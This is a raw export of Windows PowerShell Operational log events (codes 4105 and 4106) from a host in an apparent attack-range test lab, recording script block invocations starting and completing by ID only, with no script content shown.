SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042494
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042493
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042488
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042487
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042465
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042464
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042463
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042462
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
